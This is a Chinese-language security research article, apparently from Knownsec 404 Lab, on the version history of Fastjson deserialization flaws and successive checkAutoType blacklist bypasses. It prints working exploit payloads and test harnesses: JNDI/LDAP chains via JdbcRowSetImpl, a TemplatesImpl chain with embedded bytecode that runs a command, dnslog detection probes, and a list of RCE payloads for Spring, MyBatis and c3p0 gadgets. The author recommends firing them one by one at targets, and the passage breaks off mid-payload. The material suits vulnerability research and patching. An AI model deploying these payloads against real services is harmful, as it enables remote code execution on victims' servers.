作者:Longofo@知道創宇404實驗室
時間:2020年4月27日
英文版本:http://www.bjnorthway.com/1193/

Fastjson沒有cve編號,不太好查找時間線,一開始也不知道咋寫,不過還是慢慢寫出點東西,幸好fastjson開源以及有師傅們的一路辛勤記錄。文中將給出與Fastjson漏洞相關的比較關鍵的更新以及漏洞時間線,會對一些比較經典的漏洞進行測試及修復說明,給出一些探測payload,rce payload。

Fastjson解析流程

可以參考下@Lucifaer師傅寫的fastjson流程分析,這里不寫了,再寫篇幅就占用很大了。文中提到fastjson有使用ASM生成的字節碼,由于實際使用中很多類都不是原生類,fastjson序列化/反序列化大多數類時都會用ASM處理,如果好奇想查看生成的字節碼,可以用idea動態調試時保存字節文件:

插入的代碼為:

BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null;
String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";
try {
    File dir = new File(filePath);
    if (!dir.exists()) {
        dir.mkdirs();
    }
    file = new File(filePath + className + ".class");
    fos = new FileOutputStream(file);
    bos = new BufferedOutputStream(fos);
    bos.write(code);
} catch (Exception e) {
    e.printStackTrace();
} finally {
    if (bos != null) {
        try {
            bos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    if (fos != null) {
        try {
            fos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

生成的類:

但是這個類并不能用于調試,因為fastjson中用ASM生成的代碼沒有linenumber、trace等用于調試的信息,所以不能調試。不過通過在Expression那個窗口重寫部分代碼,生成可用于調式的bytecode應該也是可行的(我沒有測試,如果有時間和興趣,可以看下ASM怎么生成可用于調試的字節碼)。

Fastjson 樣例測試

首先用多個版本測試下面這個例子:

//User.java
package com.longofo.test;

public class User {
    private String name; //私有屬性,有getter、setter方法
    private int age; //私有屬性,有getter、setter方法
    private boolean flag; //私有屬性,有is、setter方法
    public String sex; //公有屬性,無getter、setter方法
    private String address; //私有屬性,無getter、setter方法

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
                ", address='" + address + '\'' +
                '}';
    }
}
package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test1 {
    public static void main(String[] args) {
        //序列化
        String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //通過parse方法進行反序列化,返回的是一個JSONObject]
        System.out.println("JSON.parse(serializedStr):");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化對象名稱:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);
        System.out.println("-----------------------------------------------\n");

        //通過parseObject,不指定類,返回的是一個JSONObject
        System.out.println("JSON.parseObject(serializedStr):");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化對象名稱:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        //通過parseObject,指定為object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class):");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化對象名稱:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        //通過parseObject,指定為User.class
        System.out.println("JSON.parseObject(serializedStr, User.class):");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化對象名稱:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }
}

說明

  • 這里的@type就是對應常說的autotype功能,簡單理解為fastjson會自動將json的key:value值映射到@type對應的類中
  • 樣例User類的幾個方法都是比較普通的方法,命名、返回值也都是常規的符合bean要求的寫法,所以下面的樣例測試有的特殊調用不會覆蓋到,但是在漏洞分析中,可以看到一些特殊的情況
  • parse用了四種寫法,四種寫法都能造成危害(不過實際到底能不能利用,還得看版本和用戶是否打開了某些配置開關,具體往后看)
  • 樣例測試都使用jdk8u102,代碼都是拉的源碼測,主要是用樣例說明autotype的默認開啟、checkautotype的出現、以及黑白名白名單從哪個版本開始出現的過程以及增強手段
1.1.157測試

這應該是最原始的版本了(tag最早是這個),結果:

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------


JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化對象名稱:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化對象名稱:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化對象名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化對象名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

下面對每個結果做一個簡單的說明

JSON.parse(serializedStr)
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化對象名稱:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情況下,自動調用了User類默認構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個實例,不過值得注意的是public sex被成功賦值了,private address沒有成功賦值,不過在1.2.22, 1.1.54.android之后,增加了一個SupportNonPublicField特性,如果使用了這個特性,那么private address就算沒有setter、getter也能成功賦值,這個特性也與后面的一個漏洞有關。注意默認構造方法、setter方法調用順序,默認構造器在前,此時屬性值還沒有被賦值,所以即使默認構造器中存在危險方法,但是危害值還沒有被傳入,所以默認構造器按理來說不會成為漏洞利用方法,不過對于內部類那種,外部類先初始化了自己的某些屬性值,但是內部類默認構造器使用了父類的屬性的某些值,依然可能造成危害。

可以看出,從最原始的版本就開始有autotype功能了,并且autotype默認開啟。同時ParserConfig類中還沒有黑名單。

JSON.parseObject(serializedStr)
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化對象名稱:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}

在指定了@type的情況下,自動調用了User類默認構造器,User類對應的setter方法(setAge,setName)以及對應的getter方法(getAge,getName),最終結果是一個字符串。這里還多調用了getter(注意bool類型的是is開頭的)方法,是因為parseObject在沒有其他參數時,調用了JSON.toJSON(obj),后續會通過gettter方法獲取obj屬性值:

JSON.parseObject(serializedStr, Object.class)
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化對象名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情況下,這種寫法和第一種JSON.parse(serializedStr)寫法其實沒有區別的,從結果也能看出。

JSON.parseObject(serializedStr, User.class)
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化對象名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情況下,自動調用了User類默認構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個實例。這種寫法明確指定了目標對象必須是User類型,如果@type對應的類型不是User類型或其子類,將拋出不匹配異常,但是,就算指定了特定的類型,依然有方式在類型匹配之前來觸發漏洞。

1.2.10測試

對于上面User這個類,測試結果和1.1.157一樣,這里不寫了。

到這個版本autotype依然默認開啟。不過從這個版本開始,fastjson在ParserConfig中加入了denyList,一直到1.2.24版本,這個denyList都只有一個類(不過這個java.lang.Thread不是用于漏洞利用的):

1.2.25測試

測試結果是拋出出了異常:

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}
-----------------------------------------------


JSON.parse(serializedStr):
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
    at com.alibaba.fastjson.JSON.parse(JSON.java:137)
    at com.alibaba.fastjson.JSON.parse(JSON.java:128)
    at com.longofo.test.Test1.main(Test1.java:14)

從1.2.25開始,autotype默認關閉了,對于autotype開啟,后面漏洞分析會涉及到。并且從1.2.25開始,增加了checkAutoType函數,它的主要作用是檢測@type指定的類是否在白名單、黑名單(使用的startswith方式)

以及目標類是否是兩個危險類(Classloader、DataSource)的子類或者子接口,其中白名單優先級最高,白名單如果允許就不檢測黑名單與危險類,否則繼續檢測黑名單與危險類:

增加了黑名單類、包數量,同時增加了白名單,用戶還可以調用相關方法添加黑名單/白名單到列表中:

后面的許多漏洞都是對checkAutotype以及本身某些邏輯缺陷導致的漏洞進行修復,以及黑名單的不斷增加。

1.2.42測試

與1.2.25一樣,默認不開啟autotype,所以結果一樣,直接拋autotype未開啟異常。

從這個版本開始,將denyList、acceptList換成了十進制的hashcode,使得安全研究難度變大了(不過hashcode的計算方法依然是公開的,假如擁有大量的jar包,例如maven倉庫可以爬jar包下來,可批量的跑類名、包名,不過對于黑名單是包名的情況,要找到具體可利用的類也會消耗一些時間):

checkAutotype中檢測也做了相應的修改:

1.2.61測試

與1.2.25一樣,默認不開啟autotype,所以結果一樣,直接拋autotype未開啟異常。

從1.2.25到1.2.61之前其實還發生了很多繞過與黑名單的增加,不過這部分在后面的漏洞版本線在具體寫,這里寫1.2.61版本主要是說明黑名單防御所做的手段。在1.2.61版本時,fastjson將hashcode從十進制換成了十六進制:

不過用十六進制表示與十進制表示都一樣,同樣可以批量跑jar包。在1.2.62版本為了統一又把十六進制大寫:

再之后的版本就是黑名單的增加了

Fastjson漏洞版本線

下面漏洞不會過多的分析,太多了,只會簡單說明下以及給出payload進行測試與說明修復方式。

ver<=1.2.24

從上面的測試中可以看到,1.2.24及之前沒有任何防御,并且autotype默認開啟,下面給出那會比較經典的幾個payload。

com.sun.rowset.JdbcRowSetImpl利用鏈

payload:

{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

測試(jdk=8u102,fastjson=1.2.24):

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test2 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
//        JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        //JSON.parseObject(payload, User.class); 成功,沒有直接在外層用@type,加了一層rand:{}這樣的格式,還沒到類型匹配就能成功觸發,這是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925,所以后面的payload都使用這種模式
    }
}

結果:

觸發原因簡析:

JdbcRowSetImpl對象恢復->setDataSourceName方法調用->setAutocommit方法調用->context.lookup(datasourceName)調用

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用鏈

payload:

{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

測試(jdk=8u102,fastjson=1.2.24):

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

public class Test3 {
    public static void main(String[] args) throws Exception {
        String evilCode_base64 = readClass();
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{'rand1':{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                "'_name':'aaa'," +
                "'_tfactory':{}," +
                "'_outputProperties':{}" +
                "}}\n";
        System.out.println(payload);
        //JSON.parse(payload, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
    }

    public static class AaAa {

    }

    public static String readClass() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(AaAa.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "AaAa" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        byte[] evilCode = cc.toBytecode();

        return Base64.encodeBase64String(evilCode);

    }
}

結果:

觸發原因簡析:

TemplatesImpl對象恢復->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通過defineTransletClasses,newInstance觸發我們自己構造的class的靜態代碼塊

簡單說明:

這個漏洞需要開啟SupportNonPublicField特性,這在樣例測試中也說到了。因為TemplatesImpl類中_bytecodes_tfactory_name_outputProperties_class并沒有對應的setter,所以要為這些private屬性賦值,就需要開啟SupportNonPublicField特性。具體這個poc構造過程,這里不分析了,可以看下廖大師傅的這篇,涉及到了一些細節問題。

ver>=1.2.25&ver<=1.2.41

1.2.24之前沒有autotype的限制,從1.2.25開始默認關閉了autotype支持,并且加入了checkAutotype,加入了黑名單+白名單來防御autotype開啟的情況。在1.2.25到1.2.41之間,發生了一次checkAutotype的繞過。

下面是checkAutoType代碼:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        // 位置1,開啟了autoTypeSupport,先白名單,再黑名單
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        // 位置2,從已存在的map中獲取clazz
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        // 位置3,沒開啟autoTypeSupport,依然會進行黑白名單檢測,先黑名單,再白名單
        if (!autoTypeSupport) {
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

        // 位置4,過了黑白名單,autoTypeSupport開啟,就加載目標類
        if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

        if (clazz != null) {
            // ClassLoader、DataSource子類/子接口檢測
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }

在上面做了四個位置標記,因為后面幾次繞過也與這幾處位置有關。這一次的繞過是走過了前面的1,2,3成功進入位置4加載目標類。位置4 loadclass如下:

去掉了className前后的L;,形如Lcom.lang.Thread;這種表示方法和JVM中類的表示方法是類似的,fastjson對這種表示方式做了處理。而之前的黑名單檢測都是startswith檢測的,所以可給@type指定的類前后加上L;來繞過黑名單檢測。

這里用上面的JdbcRowSetImpl利用鏈:

{
  "rand1": {
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

測試(jdk8u102,fastjson 1.2.41):

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test4 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        //JSON.parseObject(payload, User.class); 成功
    }
}

結果:

ver=1.2.42

在1.2.42對1.2.25~1.2.41的checkAutotype繞過進行了修復,將黑名單改成了十進制,對checkAutotype檢測也做了相應變化:

黑名單改成了十進制,檢測也進行了相應hash運算。不過和上面1.2.25中的檢測過程還是一致的,只是把startswith這種檢測換成了hash運算這種檢測。對于1.2.25~1.2.41的checkAutotype繞過的修復,就是紅框處,判斷了className前后是不是L;,如果是,就截取第二個字符和到倒數第二個字符。所以1.2.42版本的checkAutotype繞過就是前后雙寫LL;;,截取之后過程就和1.2.25~1.2.41版本利用方式一樣了。

用上面的JdbcRowSetImpl利用鏈:

{
  "rand1": {
    "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

測試(jdk8u102,fastjson 1.2.42):

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test5 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        //JSON.parseObject(payload, User.class); 成功
    }
}

結果:

ver=1.2.43

1.2.43對于1.2.42的繞過修復方式:

在第一個if條件之下(L開頭,;結尾),又加了一個以LL開頭的條件,如果第一個條件滿足并且以LL開頭,直接拋異常。所以這種修復方式沒法在繞過了。但是上面的loadclass除了L;做了特殊處理外,[也被特殊處理了,又再次繞過了checkAutoType:

用上面的JdbcRowSetImpl利用鏈:

{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}

測試(jdk8u102,fastjson 1.2.43):

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test6 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//        JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        JSON.parseObject(payload, User.class);
    }
}

結果:

ver=1.2.44

1.2.44版本修復了1.2.43繞過,處理了[

刪除了之前的L開頭、;結尾、LL開頭的判斷,改成了[開頭就拋異常,;結尾也拋異常,所以這樣寫之前的幾次繞過都修復了。

ver>=1.2.45&ver<1.2.46

這兩個版本期間就是增加黑名單,沒有發生checkAutotype繞過。黑名單中有幾個payload在后面的RCE Payload給出,這里就不寫了

ver=1.2.47

這個版本發生了不開啟autotype情況下能利用成功的繞過。解析一下這次的繞過:

  1. 利用到了java.lang.class,這個類不在黑名單,所以checkAutotype可以過
  2. 這個java.lang.class類對應的deserializer為MiscCodec,deserialize時會取json串中的val值并load這個val對應的class,如果fastjson cache為true,就會緩存這個val對應的class到全局map中
  3. 如果再次加載val名稱的class,并且autotype沒開啟(因為開啟了會先檢測黑白名單,所以這個漏洞開啟了反而不成功),下一步就是會嘗試從全局map中獲取這個class,如果獲取到了,直接返回

這個漏洞分析已經很多了,具體詳情可以參考下這篇

payload:

{
    "rand1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "rand2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Object", 
        "autoCommit": true
    }
}

測試(jdk8u102,fastjson 1.2.47):

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test7 {
    public static void main(String[] args) {
        String payload = "{\n" +
                "    \"rand1\": {\n" +
                "        \"@type\": \"java.lang.Class\", \n" +
                "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    }, \n" +
                "    \"rand2\": {\n" +
                "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
                "        \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
                "        \"autoCommit\": true\n" +
                "    }\n" +
                "}";
        //JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        JSON.parseObject(payload, User.class);
    }
}

結果:

ver>=1.2.48&ver<=1.2.68

在1.2.48修復了1.2.47的繞過,在MiscCodec,處理Class類的地方,設置了cache為false:

在1.2.48到最新版本1.2.68之間,都是增加黑名單類。

ver=1.2.68

1.2.68是目前最新版,在1.2.68引入了safemode,打開safemode時,@type這個specialkey完全無用,無論白名單和黑名單,都不支持autoType了。

在這個版本中,除了增加黑名單,還減掉一個黑名單:

這個減掉的黑名單,不知道有師傅跑出來沒,是個包名還是類名,然后能不能用于惡意利用,反正有點奇怪。

探測Fastjson

比較常用的探測Fastjson是用dnslog方式,探測到了再用RCE Payload去一個一個打。同事說讓搞個能回顯的放掃描器掃描,不過目標容器/框架不一樣,回顯方式也會不一樣,這有點為難了...,還是用dnslog吧。

dnslog探測

目前fastjson探測比較通用的就是dnslog方式去探測,其中Inet4Address、Inet6Address直到1.2.67都可用。下面給出一些看到的payload(結合了上面的rand:{}這種方式,比較通用些):

{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}

{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}

{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}

{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}

{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}


一些畸形payload,不過依然可以觸發dnslog:
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}

{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}

{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}

{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0

一些RCE Payload

之前沒有收集關于fastjson的payload,沒有去跑jar包....,下面列出了網絡上流傳的payload以及從marshalsec中扣了一些并改造成適用于fastjson的payload,每個payload適用的jdk版本、fastjson版本就不一一測試寫了,這一通測下來都不知道要花多少時間,實際利用基本無法知道版本、autotype開了沒、用戶咋配置的、用戶自己設置又加了黑名單/白名單沒,所以將構造的Payload一一過去打就行了,基礎payload:

payload1:
{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}


payload2:
{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}


payload3:
{
  "rand1": {
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
      "data_source": "ldap://localhost:1389/Object"
    }
  }
}

payload4:
{
  "rand1": {
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://localhost:1389/Object",
    "propertyPath": "foo",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://localhost:1389/Object"
      ]
    }
  }
}

payload5:
{
  "rand1": Set[
  {
    "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://localhost:1389/obj"
      ]
    },
    "adviceBeanName": "ldap://localhost:1389/obj"
  },
  {
    "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
  }
]}

payload6:
{
  "rand1": {
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
